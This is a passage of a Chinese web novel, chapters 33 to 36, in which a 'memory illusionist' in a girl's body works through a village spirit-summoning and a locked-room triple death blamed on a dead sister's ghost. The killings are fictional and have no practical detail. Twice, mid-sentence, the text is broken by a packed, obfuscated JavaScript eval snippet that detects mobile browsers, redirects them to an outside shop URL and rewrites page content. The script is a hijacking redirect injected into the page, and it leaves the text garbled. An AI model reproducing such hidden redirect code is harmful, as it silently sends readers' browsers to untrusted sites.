“这......活人不能被尿憋死。”瘦削的村长将他脸上两个深凹进去的洞对准幻忆师。 彩色的爸爸妈妈也转过头。 黑白色的姐姐微笑着俯视妹妹。 弟弟的啼哭声再次响起。 幻忆师打了个寒颤,恍惚间,已死的姐姐才是世界上唯一有色彩的人。 屋内短暂的安静被全子妈打断:“任二家的!任二家的!你管管你闺女!亲可以不结,不能结生死仇啊!” 全子妈是个长相周正的中年女人,她边哭边跑,跌跌撞撞地被门槛绊了一跤。 “亲家娘——” “谁是你亲家!”全子妈一屁股坐地上,“村长也在,您得给主持公道!” 村长皮肤的褶皱里冒出一层细密的汗:“怎么了?你站起来说话。” 全子妈把手指对准珊珊妈的鼻尖:“她闺女来找我儿子了,我儿子现在发着高烧,说着胡话,被个女鬼缠上了!呜呜呜......” 妈妈直往爸爸身后躲,想要避开全子妈的手指。 全子妈用视线恶狠狠地跟随她,直到妈妈躲到姐姐的遗照下。 “啊啊啊啊啊啊——” 像是突然疯了,全子妈上前掀飞了姐姐的照片,边不干不净地辱骂着,边说出自己的目的: “你们退我钱!遇上这晦气事,双倍退!” 村长身边的两个年轻人赶紧上前按住她,才把混乱的场面稍微控制住。 “唉。”村长重重地叹气,“你们定亲的事我给解决,但孩子比钱重要,先带我们看看全子吧。” 幻忆师缀在大人身后,跟着他们一起去了全子家。 全子家在山村的上坡,家里修了两层小楼,院门还是铁艺的。 这房子单独看很普通,但放在山里一片低矮破旧的老屋中简直是鹤立鸡群。 任二夫妇耷拉着眉眼走在队伍中间,村长在任二耳边小声嘀咕着。 全子正躺在床上说胡话,他长得高大壮实,只看背影和成年人没什么不同。 “好不容易退烧了。”全子妈心疼地抹了一把全子脑门上的汗,“但人受了惊吓,根本不见好。” 村长一阵嘘寒问暖,然后清了清嗓子:“全子这病最好去市里看。” “任家给我出钱!”全子妈立刻说。 “但是吧。”村长大喘气,“一方水土养一方人,在咱山里受的惊,最好靠山里治。” “那个柳仙姑你们知道吧?管自己叫清虚子的那个。” 全子妈不说话,珊珊妈赶紧接话:“听说过。” “她很有一手,谁家老人病了都愿意找她,我家隔壁也找的她。” 全子妈冷笑:“就你家隔壁智障?姓柳的给她婆婆治死了。” “什么死不死的!”村长厉喝,“老人寿数到了,柳仙姑也难回天。” 全子妈面带恨意地闭上嘴。 村长的语气缓和一点:“这事就这么定了,任二,你们两口子立刻去请柳仙姑!” 33. 恒久有序 等柳仙姑来的这段时间,村长和全子妈不断嘀嘀咕咕地说话,两人频繁往幻忆师的方向看。 幻忆师绕着床走了几圈,床上的全子已经睡着了。 全子的病像谵妄,谵妄是一种急性发作的认知障碍状态。 其特点是意识水平改变、注意力不集中、思维混乱以及其他认知功能的障碍,患者可能看到实际上不存在的事物。 全子妈说全子看见死去的姐姐,就是谵妄的一种体现。 但谵妄多出现在老年病人身上,全子这么高壮的少年患者很少见。 幻忆师绕到床的正面,重新观察全子。 全子拥有远超同龄人的体型和长着痤疮的圆脸。 这是长期服用激素药造成的典型激素面容,幻忆师推测,全子原本有某种疾病,导致了谵妄的发生。 柳仙姑很快来了,她的长相是她“清虚子”道号的反义词。 或许是她长得过于普通,全子妈没把她当回事,但也没怠慢她,只是客气地说了两句,就将她带到床边。 柳仙姑仔细看全子,然后叹了口气。 “可怜的孩子,这么多年受苦了。”她转头看向全子妈,“你把羊癫疯孩子照顾得这么好,也受苦了。” 羊癫疯是癫痫的俗称,和幻忆师的猜测基本一致。 全子妈的惊讶挂在脸上,但很快冷静下来:“是任二家的告诉您吧?” 柳仙姑笑而不语,她用一种奇特的脚步绕着床转圈,毫不嫌弃地用手给全子擦汗: “是个好孩子,他说他不怪你,那时候谁都没钱——” “好了我知道了!”柳仙姑的话被全子妈慌张打断。 柳仙姑真的闭上了嘴,安静地凝视着昏睡的全子。 全子妈脸色苍白地环视四周,大家全低下头,假装没听见柳仙姑的话,已经有机灵的找借口开溜了。 过了一会,屋内只剩下全子妈和任珊珊一家,全子妈堆起笑脸:“清、清虚子......” “叫我柳姑姑就行。” “柳姑姑,您是有真本事的人,刚才是我眼拙,给您道歉,这孩子您看怎么办才好?” 全子妈说完就低声哭了起来,珊珊妈赶紧过去安慰。 “都是亲戚,需要我们出力尽管开口。”任珊珊的爸爸立刻表态。 “简单。”柳仙姑从容地说,“一个小鬼。” “把她的名字和生辰八字给我,再找张清晰的照片和生前惯用的东西,我立刻开始做法。” 珊珊妈被吓了一跳:“做法?她只是个小女孩,您劝劝她,让她赶紧转世就行。” “不会对我家有影响吧?”爸爸紧张道。 柳仙姑耐心解释:“没有影响,她现在不愿离开,必然还有没完成的心愿,才会缠上她的小丈夫。” “我请她出来,问问她想要什么。除此之外,我不会做别的事。” 全子妈不哭了:“任二家的,帮帮我,我一个寡妇不容易。先把全子治好了,钱的事咱好商量。” 任珊珊的妈妈踩了踩脚下铺着瓷砖的地面,最终一言不发地回家拿东西。 很快,一条旧毛毯和被全子妈砸碎的遗照都被拿回来。 “柳姑姑,咱们什么时候开始?”全子妈小心翼翼地问。 坐在全子床边闭目养神的柳仙姑突然抽搐了几下,她身边的全子紧跟着也抽搐两下。 这下把屋里的人吓坏了,原本还有点不信鬼神的任珊珊爸爸更是吓得扔掉了手里的烟。 “我要一个助手。”柳仙姑睁开眼睛,“和她血脉相连的助手。” 屋内所有人将目光移向幻忆师。 柳仙姑带着任珊珊的妈妈去院子里杀鸡,幻忆师和全子妈坐在沙发上等他们。 “珊珊啊。”全子妈拿起桌子上的点心,“吃这个,是我表姨家的孩子从城里带来的。” 表姨是姐姐在百日宴结束后帮忙招待的客人。 幻忆师捧着点心没有吃。 她虽然没在村里住过,但明白村中一些不成文的规矩。 “馋”在村子里是一条比杀头还可怕的大罪,馋嘴的女人更是要下十八层地狱。 因为村里资源稀少,仅有的好吃的要么拿来送礼做人情,要么给家里的男孩子吃,所以馋嘴的女人必然是没规矩的、不识大体的、没人要的。 幻忆师今天敢吃这口点心,明天她馋鬼的名声能被传播到山脚下,还会伴随着“家里大人没教好”、“穷没见过好东西”的诋毁。 全子妈看她不吃,对她很满意:“珊珊,你看我家这小屋怎么样?” 幻忆师不说话,她料到接下来会发生什么。 “是不是挺漂亮的?但是我老了,用不上这么漂亮的屋子,这屋子是全子和我未来儿媳的。” 全子又抽搐起来,全子妈赶紧过去看,临走前不忘打开点心盒子,热情地让幻忆师多吃点。 白皮点心拿在手里掉渣,幻忆师发觉任珊珊好久没说话了。 冷不丁地,幻忆师问:“喂,你姐姐改名叫什么?” 任珊珊没有回答,或者说她听不到这个问题。 院子里,大人们很快杀完鸡。 柳仙姑让幻忆师抱着布满裂痕的遗照,然后蘸着鸡血在幻忆师的额头画了个奇怪的图案。 老母鸡的尸体被放干血后扔在姐姐的旧毛毯上。 柳仙姑拉上窗帘,紧闭门窗,点燃蜡烛。 “恒——久有序!” 法事从一句带着奇怪腔调的经文般的念词开始。 “恒久有序恒久有序恒久有序恒久有序恒久有序......” “礼敬诸天正等正觉者,恭请我师我祖我家仙者佑我此次平安。” 柳仙姑弯腰屈腿,用固定的节拍打一下大腿,再拍一下手掌,按照八字形轨迹绕着老母鸡和幻忆师做法。 “非想非非想处天,四无色定外禅那。” 记录着任招娣生辰八字的黄纸被蜡烛的火光一口咽下去。 “任家长女名招娣,死后魂魄何处去......” 柳仙姑双手插进装鸡血的盆中,用鸡血涂满自己的脸,她闭眼站定,摇摆身体。 “归来兮归来兮!” 最后一句念词被高昂地诵读出来,柳仙姑睁开双眼。 五分钟过去了,什么都没有发生。 “生辰八字是对的?”柳仙姑怀疑地问任珊珊父母。 任珊珊妈妈拼命点头。 柳仙姑粘满鸡血的脸在烛光中明灭不清,她犹豫了一下,吩咐任珊珊妈妈: “你把你女儿换下来。” 任珊珊妈妈求助般看向自己的丈夫,没有得到任何回应,她不情愿地接过幻忆师手里的遗照。 幻忆师简直要忍不住笑出声。 如果说任招娣的“血亲”在这场法事中至关重要,那么柳仙姑换掉任珊珊的行为,无异于怀疑任珊珊不是任二亲生的。 法事重新开始,这次柳仙姑跳得更卖力了。 伴随着“归来兮”的召唤,所有人都期待地看着柳仙姑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233748|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分钟过去了,什么都没有发生。 柳仙姑急了:“你们给我的生辰八字真是对的?” 珊珊妈懵了:“我、我生的孩子,怎么会不记得生日?” 紧接着,珊珊妈醒悟了:“名字!这孩子一直闹着要改名字!” “那她叫什么?” 她的父亲,她的母亲,她从出生就被定好的婆婆,三个人在昏黄的烛光中面面相觑。 她的母亲怀里还抱着她的遗照。 遗照的相框被全子妈摔得四分五裂,她隔着裂痕嘲笑整个世界。 她的爸爸像只被撬开的蚌:“任烨馋?我说过要给她改名。” 冷眼旁观的幻忆师终于忍不住笑出声,是被气笑的。 “哪个chan?”柳仙姑急得满头大汗,汗水混着鸡血往下滴。 “馋嘴的馋。” “什么?哪个chan?”柳仙姑以为自己没听清。 “就是馋嘴的馋!” 柳仙姑感觉自己被愚弄了:“可不敢在做法时开玩笑,你会受到——” 仙姑的声音戛然而止,她脸上的鸡血突然不再滴落。 从她的牙齿里、颈椎间和手关节间,响起了骨骼相互摩擦的骇人咯吱声。 她两手拖住脸颊,用力制止后槽牙的摩擦,像是想要夺回身体的控制权。 然而没有任何作用,反而激怒了控制她的存在。 柳仙姑的身体被逼迫着向前走了两步,面对摆满蜡烛的台面,用额头直直地砸了下去。 “咚——” 葬礼上第一声哀乐是人类头骨和铁质折叠桌发出的悠长交响。 柳仙姑抬起头,她的血和鸡血混合在一起,淅淅沥沥地淌下来。 她机械地转动脖子,面向众人,带着绝对不属于她的、天真快乐的、和遗照完全相同的笑容,用小女孩的语气说: “果然没人记得我的名字呀。” 伴随屋内女人的尖叫,柳仙姑昏了过去。 全子妈扑通一下跪地上:“招......名字不是我取的,和我家没关系,你找你爸妈去!” 床上的全子被吵醒,又开始胡言乱语:“她来了,她来了!我看见她了!” 任珊珊的爸妈似乎吓傻了,一句话都说不出来。 幻忆师上前探了探柳仙姑的鼻息。 没死。 幻忆师走到窗边,刷啦一声拉开窗帘,让白日天光照进二层小楼,屋内的人才大梦初醒。 “先把柳姑姑扶起来吧。” 任珊珊的爸妈魂不守舍地把柳仙姑抬上沙发,又是喂水又是掐人中,好半天才把人叫醒。 柳仙姑醒后第一句话就是:“这个活我干不了,你们另请高明吧。” 她颤颤巍巍地爬下沙发,连钱都不要,想马上走人。 全子妈真哭了:“我们山里人哪认识别的高人?柳姑姑,求您救救我儿子,我给您钱,听您的话!” 柳仙姑充耳不闻,晃晃悠悠地走到门口,她突然停下来:“你家是不是还有个儿子?” “没、没有啊。” “不说实话算了。”柳仙姑摔门离去。 全子妈坐在沙发上抹了把眼泪,她忽然想起什么,猛地站起来追出去。 她跑到院子里咚地一声给柳仙姑跪下:“姑姑,我没说谎话,我年轻时在城里打工,流过一个孩子。那是好多年前的事,我一时半会没想起来。” “求求您了,救救我儿子!” 柳仙姑幽幽地问:“你要救哪一个?” 34. 鬼魂杀人事件 全子妈牙关打颤:“什、什么叫哪一个?那个没出生就死了。” 柳仙姑顶着满脸血立在院子正中间:“死了但没走,你不让他出生,他一直跟着你。” “他死的时候太幼小了,现在打不过任家的小鬼,只能躲进弟弟的躯壳里。” “他怎么能害自己弟弟!”全子妈又哭了起来。 柳仙姑给出最后的忠告:“你的孩子得靠你开导,我们外人都不好使。” 说完她转身就走,全子妈膝行着往前爬几步,一把抱住她的腿,如同抓住救命稻草: “姑姑!我的孩子我自己来,但另一个只能靠您,您帮帮我!” 全子妈央求任家两口子:“亲家公亲家娘,快帮我求求姑姑。” 任珊珊的爸爸赶紧说好话:“大师,您救救孩子吧!事成之后我们一定帮您在十里八乡扬名......” 可能是一箩筐的好话打动了柳仙姑,也可能是柳仙姑终于找到台阶下,她叹气:“就当是为了孩子。” 全子妈放声大哭。 柳仙姑仔细询问任珊珊的爸爸为什么给任招娣改名叫任烨馋。 问清楚前因后果,她亲自去了趟山脚的小卖店,买来一堆小孩子爱吃的东西,顺便把表嫂做客带来的点心征用了。 然后她指挥所有人搭供桌,还给姐姐的遗照找了个新相框。 新灵堂被布置在全子家小院里,虽然没有挽联也没有花篮,但柳仙姑尽力装饰得体面。 柳仙姑仔细摆放供桌上的祭品,珊珊妈扭扭捏捏地走过来:“姑姑,我家那灵堂......” “撤了吧。”柳仙姑头也不抬地摆手。 爸爸一把抓住妈妈的胳膊,把她揪到角落,劈头盖脸一顿骂:“你是傻还是坏?想把小馋鬼接回家?” “那毕竟是我们女儿。”妈妈失魂落魄地说。 “她都出来害人了,你敢认她!”爸爸抬手作势要打人,妈妈吓得闭眼缩脖,不敢再提家里灵堂的事。 等一切都布置好,天也黑了,柳仙姑让任家三人先回去。 任珊珊的爸爸抱着讨好大师的心思:“您看还有什么需要我们帮忙的?” “不管出什么动静,都不许进来,有我守灵,至少能保今夜平安。明天早晨7点准时来敲门,到时候会有结果。” 爸爸连忙点头,带着一家人回去睡觉。 全子家的铁艺大门在他们面前闭合,门后传来干脆利索的落锁声,门里门外仿佛被隔成两个世界。 幻忆师已经掌握了这个怪谈的规律,她没有任何睡意,但回家后立刻闭上眼睛,时间果然来到第二天。 不出意外地出了意外,没人给他们开门。 爸爸只好找村长,村长做主报警,警察带着开锁师傅费了一番功夫才打开门。 门内是一副地狱图景。 地上的火盆还有余温,火盆旁瘫着全子的尸体,尸体下压着成堆的黄裱纸。 供桌上原本码得整齐的点心被吃掉好几个,全子手里攥着半块,地上还有个空碗。 小院的鸡舍里趴着柳仙姑的尸体,她的喉咙正中被从下往上刺入一把锋利的窄刃厨刀。 窄刀一击毙命,她的血顺着青砖的缝隙流进鸡笼,一只母鸡在啄食地上的鲜血。 任珊珊的妈妈先是被院内的尸体吓得说不出话,然后本能般呼喊:“亲家娘!全子妈!你在哪?” 两名派出所民警是从山下赶来的,他们明显也没见过这种场面。 一个民警打电话将情况汇报给上级,另一个忙着维持现场秩序。 维持秩序的民警听到任珊珊妈妈的呼喊,脸色一变:“屋里还有人?” 小楼一楼的门窗都被锁上了,幸好开锁师傅还没走。 把门打开的瞬间,开锁师傅捂住口鼻。 “咳咳咳......” 屋内有一股与臭鸡蛋类似的味道,幻忆师喊:“先别进去,是天然气泄露!” 天然气的主要成分是甲烷,它本身是一种无色无味的气体,但它在使用过程中会被添加一种特殊的气味剂,为了让人们在天然气泄漏时迅速察觉。 甲烷在封闭空间中燃烧,由于缺乏足够的氧气,会产生一氧化碳。 一氧化碳对人体有害,它可以与血液中的血红蛋白结合,形成稳定的碳氧血红蛋白,使氧气无法正常运输到身体各处,造成昏迷甚至死亡。 幻忆师明白,屋里的全子妈恐怕是凶多吉少了。 在场的民警和开锁师傅没放弃救援。 开锁师傅加快速度把紧锁的窗户打开,先保持通风。民警火速联系消防,报告了现场情况,让他们带着专业设备来。 经过一番折腾,县里的警察、消防和救护车全来了。 消防人员全副武装,破开被锁上的厨房门,把全子妈从地上的一张软垫上抬出来。 全子妈的手里紧紧攥着这栋房子的全部钥匙。 急救医生摇头:“没有生命迹象,初步判断死亡。” 后续正式确认死亡需要专业医生来判断,但所有人都知道,全子妈已经死了。 一个没有亲人却有财产的女人,这里没人希望她活着。 任珊珊的声音突然在幻忆师脑内响起:“这就是著名的任招娣鬼魂杀人案,也叫山村密室杀人案。” “我一直坚定地认为世上有鬼神,是我的姐姐变成厉鬼前来复仇,警方的刑侦专家和聘请来的侦探却说全子妈是凶手。” “我知道他们为什么这么说,因为懦弱的他们无法接受世界上有鬼。” 任珊珊话音刚落,全子家小院里所有人都消失了,整栋房子除了幻忆师只剩下三具尸体。 火盆里的黄裱纸在熊熊燃烧着,跳跃的火焰映照着周围扭曲的阴影,仿佛永远烧不尽。 天空中,黄裱纸燃烧后的灰烬如雪般纷纷飘落,它们轻盈如雾,好像没有实体。 幻忆师手里突然多出一份本地小报,头版头条顶着一个巨大的标题:震惊!任招娣鬼魂杀人!恶童不满父母取名回魂复仇! 那三个感叹号简直要戳到幻忆师脸上,她不管尸体,先坐在台阶上翻开报纸。 【俗话说身体发肤受之父母,名字也和头发皮肤一样,都是父母给的,不能随便更改,更不能挑三拣四。 任家出了个叛逆的女孩,总想着改名字,她叫招娣。 招娣,多好的名字,包含了父母对下一个孩子的期望和祝福。这是家族传承的一部分,也是她身份的一部分。 可是任招娣对自己的名字不满意,还嘴馋懒散,不仅偷吃邻居家的糖,农忙时节也不愿帮父母干活。 父亲务农回家,数落她几句,她竟在暴雨天气跑上山,死在泥石流里。 父母一把屎一把尿将她拉扯大,不指望女孩能养老,只盼着她嫁个好人家,后半辈子有个指望。 任招娣自私自利,心理承受能力极差,不考虑她的父母老了没人照顾,因一时赌气结束了自己的生命。 无德者生前无能,死后也令所有人不得安宁......】 幻忆师捏着鼻子,一目十行看到这儿,不得不短暂地认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254195|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同任珊珊。 可惜世间没有鬼,世上如果真有鬼神,这报纸的撰稿人也不敢瞎胡写。 跳过裹脚布一样的部分,幻忆师直接看案情。 【......以上是本报记者走访任招娣所在村得知的事实,以下人物均为化名。 经调查,多年前的一起事故后,全子妈挪用大病捐赠款,致其丈夫和儿子错过最佳治疗时间。最终丈夫死亡,儿子留下癫痫的后遗症。 案发的前一天,神棍柳仙姑为博取全子妈信任,装神弄鬼地暗示自己知道这个秘密。 全子妈对柳仙姑心生忌惮,起了杀意。 法事过程中死去的任招娣曾附身柳仙姑,全子妈想将谋杀的罪名推给鬼魂。 柳仙姑以继续做法事为由留在全子家,全子妈先在祭品点心中下毒,又给柳仙姑一碗毒汤。 然而她没有想到,柳仙姑没吃点心更没喝汤。 她的儿子谵妄症状缓解起床找吃的,误食了点心与毒汤,中毒身亡。 全子妈发现自己误杀儿子后身心崩溃,用刀刺死柳仙姑,然后吃下安眠药,点开厨房的天然气,关紧门窗自杀。】 这段文字旁配了张照片,是个穿一身夸张白西装的大叔。 照片下有行小字:本案聘请的外援侦探白马。 幻忆师听说过这位白马侦探,他今年已经五十多了,早就退居幕后做起老板。 据说他早年行事张扬,很喜欢为自己博名声,自称白马侦探石传盛,于是他的粉丝叫他白马王子。 没错,白马侦探是个称号,他不叫白马,他叫石传盛。 【本地刑侦专家与白马侦探给出推理结果后,社会上出现了质疑,不少人坚称这是密室谋杀,凶手不是全子妈。 然而现场除了案件相关人员的指纹外,没检测出其它人的指纹。 但根据已公开的毒物鉴定,点心中的毒物与汤里毒物不是同一种,白马侦探的推理无法解释全子妈为何在两种食物里下不同的毒。 对此,白马侦探给出回应:点心里的毒是柳仙姑下的。 点心里的毒是最常见的老鼠药,下毒方式也相当粗糙。是柳仙姑为了“毒死”任招娣的鬼魂,让她不再作恶,才在祭品中下毒。 案发后不久,从山下小卖店到山上全子家的路途中找到老鼠药空包装,包装上检测到柳仙姑的指纹。 仍有推理爱好者纠结于案发现场的另一线索——厨房墙上的一个水管穿墙孔。 经实地勘测,小孔不足篮球大小,无法供任何人穿越。 至此,本案终结。】 幻忆师翻页,案情后面还有一小段编者语。 最后一段编者语好歹说了点人话,大意是呼吁家长不要给孩子取招娣、骚活、馋诡和贱女这种带有恶意的名字。 虽说名字只是一个代号,但会陪伴人的一生,希望相关部门在给新生儿上户口时起到监督管理的作用。 看到这里不算完,幻忆师又把报纸上其它能摄取的信息全看一遍,才意犹未尽地放下报纸。 幻忆师看都不看地上的尸体,她的第一站是厨房。 翻遍整间厨房,幻忆师终于找到报纸上提过的那个孔。 水管穿墙孔竟然打在橱柜里,也可能是先打的穿墙孔,然后发现接上水管用处不大,又嫌孔不好看,用橱柜遮住。 幻忆师钻进壁橱,用头比了比孔的大小,倾斜身体,一下子钻了过去。 外面正好是鸡舍,地上倒着柳仙姑的尸体。 幻忆师平静地问任珊珊:“你姐姐没死吧。” 35. 无人生还 任珊珊当然不会回答。 整起事件中不合理的点实在是太多太多了。 把时间倒回任珊珊误触超能力间接导致智障女人死亡的那天晚上,第一个不合理的点出现了。 全子家在山村的上坡,据珊珊妈所说,百日宴结束后全子妈将姐姐带回家帮忙招待表嫂。 那么幻忆师沿着山路向上跑,应该在坡上见到姐姐,但当天姐姐的声音是从下风口处传来的。 至于那颗龙须糖是不是智障女人给的已经不重要了,重要的是经办此事的警察为什么准确找到姐姐和任珊珊。 技术人员必然在死亡现场找到了她们姐妹的指纹,姐姐在当天也去过智障女人家,而且绝对不像姐姐自己描述的“给了一块糖”这么简单。 如果仅仅从智障家拿了一块糖,姐姐大可不必替妹妹说谎,骗警察拿糖时妹妹和她在一起。 幻忆师推测,她进智障家前姐姐已经去过一次,很大可能姐姐当时也在家里,智障的儿子说的话可以印证这一点。 那小男孩对幻忆师说:“你回来了?” 他把使用任珊珊身体的幻忆师错认成姐姐。 姐姐找智障女人要做的绝不是什么好事,幻忆师见到智障女人时她正在疯狂扇自己的脸颊。 由此可以得出两个推论: 1.姐姐针对智障女人做了坏事,这件事她不愿告诉警察。 2.姐姐知道妹妹也去了智障女人家,甚至极可能看见妹妹误触超能力间接导致女人死亡的全过程,她选择包庇妹妹。 姐姐死于泥石流后没人看到她的尸体,幻忆师猜任家不但没挖出尸体,更没讹到任二梦中的赔偿款。 合理推测姐姐早早做好了逃跑计划,然而以她的年纪,即使跑到外省市,被人发现后也会被遣送回原籍。 回来后再想跑就更难了。 因此她想到了一个一劳永逸的好办法——假死。 这是个听起来如同天方夜谭的方法,但被姐姐实施成功了。 她假死成功后需要钱离开家乡,也需要新的身份,她必然有成年人帮手。 幻忆师大胆推测,这个帮手就是柳仙姑。 之所以这样推测,是因为柳仙姑知道太多全子家的事了。 而且柳仙姑知道的很具体,远非报纸上描述的“靠装神弄鬼让全子妈以为自己知道秘密”这么简单。 全子家的钱来路不正,这个很好猜。 整个村子除了全子家都穷得揭不开锅,任家连女儿都要被送来当童养媳。 全子妈有钱不在山下住着,偏要跑山上修二层别墅,这件事极其不合理。 只有可能是全子妈在外面做了什么不好的事,跑消息闭塞的大山里躲着。 但柳仙姑竟然知道全子妈曾经流产过一个男婴,这事不可能靠猜测和推理。 把这种阴私家事泄露出去的只能是自家人。 全子家一个半傻不傻的全子,一个被当成未来儿媳养的姐姐,只有姐姐可能告诉柳仙姑全子妈的秘密。 柳仙姑帮姐姐假死,姐姐帮柳仙姑装神弄鬼地骗钱,表面上看完全解释得通。 但实际上,这对柳仙姑来说是笔把裤衩赔掉的买卖。 首先,姐姐在装了一辈子神棍的柳仙姑眼里,就是个乳臭未干的小孩子。 万一姐姐在哪个环节掉链子,姐姐最多被打个半死不活,柳仙姑自身难保。 其次,“全子家的钱来路不正”只是一个合理的猜测,她们不知道全子家的钱为什么来路不正。 “全子妈流产过一个男孩”虽然是个事实,却是个没什么威力的事实,它是用来让全子妈以为柳仙姑真有天眼,知道她过去的秘密。 万一全子妈是个丝毫不信鬼神的唯物主义者,也毫不在乎别人知道她以前的事,柳仙姑把头在桌子上磕断都骗不到一分钱。 综上所述,幻忆师想不通柳仙姑为什么和姐姐达成同盟。 看着眼前柳仙姑死不瞑目的尸体,幻忆师灵光一闪——姐姐手里有柳仙姑的把柄。 柳仙姑此前和姐姐唯一的交集是隔壁智障家,珊珊妈曾经提过柳仙姑“擅长给老人治病”,全子妈却说“智障的婆婆被她治死了”。 幻忆师隐约听说过,这种乡下请神婆给老人看病和城里请特殊保姆照顾老人的套路。 当一个老人成为家里的拖累后,子女不敢放弃老人落个不孝顺的骂名,就会请来神婆或保姆。 她们会悄无声息地帮助家里人“摆脱”累赘,然后拿一大笔钱跟着一起哭丧。 然而智障的婆婆显然不属于累赘行列。 这位婆婆生病前必然是个健康的能照顾别人的老人,她的儿子才放心把她和两个智障一起留在山里,独自出去打工。 幻忆师猜测,柳仙姑被请来后误解了雇主的意思,以为又是一笔和往常相同的“生意”。 柳仙姑杀死了病中的婆婆,被智障女人看见了。 智障女人将这件事咿咿呀呀地讲给来送松紧带的姐姐听,姐姐以此要挟柳仙姑。 柳仙姑要求姐姐让智障女人保守秘密,但她一个智障,谁也不知道她哪天会把事情说出去。 姐姐那天去智障女人家,就是去杀人的,死人才能永远保守秘密。 至于是谋杀没有成功,还是进行到一半被任珊珊打断,幻忆师不得而知。 幻忆师只知道,姐姐一定对妹妹的超能力非常满意。 智障女人的死和姐姐从警察那里的全身而退让柳仙姑决定赌一把,同意和姐姐合作。 幻忆师怀疑,全子的谵妄根本不是巧合,是姐姐引发的。 即使村长不主动提出请柳仙姑治全子,柳仙姑也会装作路过,摆出一副神头神脑的样子来骗钱。 作为一个人老成精的神婆,柳仙姑想破脑袋也想不到姐姐最终目的是将她杀死。 姐姐可能从智障女人的死亡中悟出了一个真谛——死人才能永远保守秘密。 她忍耐这么多年,筹谋了如此多的事,只为一个全新的人生。 为此,她必须把唯一知道真相的柳仙姑杀死。 她找好借口,和柳仙姑说要帮忙吓一吓全子妈,提前制定了周密的计划。 案件发生的前一天,姐姐早早钻进水管孔,在壁橱里躲好。 感谢她贫穷的家庭和待她苛刻的准婆婆,因为缺衣少食,她的身体早就停止了发育,和年幼的妹妹没什么差别。 她轻松地藏在橱柜里,听到柳仙姑将全子妈引进厨房。 关于柳仙姑用的借口,幻忆师没做过神棍,但大致能猜到,无非是风水五行那一套。 比如厨房属火,旺火克阴,在厨房睡能防止小鬼晚上前来纠缠;吃颗安眠药,迅速入睡才能见到被流掉的婴儿,好劝他从哥哥身上下来。 这些理由随便柳仙姑乱编,因为全子妈早被吓得六神无主,完全听从柳仙姑的安排。 厨房地上的软垫也能证明全子妈不是自杀,如果她真的误杀了儿子,崩溃下点着天然气自杀,那她不会给 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阴冷的山风吹动着黄裱纸燃烧后的灰烬,形成一个个小小的漩涡。 幻忆师抓了一把灰,慢慢合拢柳仙姑死不瞑目的眼睛: “她最初的目标只有柳仙姑一个人,最终她执着地杀死全子一家,不是为了给自己复仇,是为了你,任珊珊。” “从决定假死的那一刻起,她就不在乎这山间荒凉贫瘠的仇恨,或者说这种程度的仇恨不配困住她,但她怕你变成下一个她。” “因为你没有你姐姐那股狠劲,更没有她的胆识,你只是一个固执到可笑的杀人犯。” 幻忆师抬头望着黑压压的天空:“你的姐姐到底改名叫什么?” 任珊珊答非所问:“是我姐姐变成厉鬼杀了他们,这个世界必然存在鬼神。” 山里的空气又黏又闷,幻忆师突然有种荒谬的感觉,她觉得自己不是在山里,而是在地球一道凸起的伤疤上。 这道伤疤慢慢渗出组织液,再被挤出黄白相间的脓疮,它不断地结痂,再被不断撕开,它的主人像是乐于享受这循环往复的疼痛。 幻忆师用力搓揉自己的胳膊,但怎么也擦不掉上面的水汽。 她叹息般否认:“如果你的姐姐真变成鬼,她不会杀任何人。” “那些人和她有什么关系?她们只是某人的老婆,某人的妈妈。即使有过名字,也都叫招娣。” “杀死她们就像杀死自己未来的某个同分异构体,对于你姐姐那样的人来说,无异于承认自己惧怕假死失败的未来。” “承认这个未来等于她天衣无缝的计划有失败的可能,孤注一掷的赌徒最怕连自己都无法完全信任自己。” 幻忆师声音艰涩:“但她还是选择杀人,而且把他们杀光。” “因为她还活着,你也活着。” 顺着水管孔爬回橱柜,幻忆师缩在角落沉默地盯着小孔透进来的光,她伸手把小孔盖住:“珊珊你看,你就像这只手。” 任珊珊把她姐姐凿出来的一点光全盖住了,她明明考上大学,用正常的身份离开大山,却重蹈姐姐的覆辙,杀死自己的室友。 果然,任珊珊还是那个容易被激怒的任珊珊,她不再装作听不见幻忆师的声音,她大喊:“不是的,你说谎!” 她的声音因激动而有些变形,随后她很快平静下来:“世界上肯定有鬼,我就是被鬼一样的伪人杀死的。” 36. 自由落体的两个原则 任珊珊话音刚落,幻忆师耳边传来骨骼咯吱作响的声音。 她感觉自己的身体在迅速长高,眼前的景色也在飞速变化,直到时间停留在一个炎热沉闷的夏天,她失去了身体的掌控权。 任二的声音在幻忆师耳边响起,任珊珊的声音在她脑中响起,两道声音交织在一起。 “你这丫头片子跑哪去了?走,去学校改志愿,必须留省里学护理,不能学别的!毕业后去山下卫生所工作,给我照顾好你弟弟!”任二愤怒地抽着卷烟,他好像更黑了。 任珊珊平静极了:“我一直觉得弟弟不是我家的人,这不是贬义。他总是那么乖巧安静,长得也白白净净,可能和他的病有关。” 幻忆师一眼看见任烨伟,他实在是太白了,白到在这间采光不好的自建房里微微发光。 他留着乖巧的波波头,脑后绑一根长生辫,长长的刘海差点遮住眼睛,他正一脸胆怯地看着爸爸训斥姐姐。 “看哪儿呢?”任二吐出一片烟雾和嘴里的焦油味。 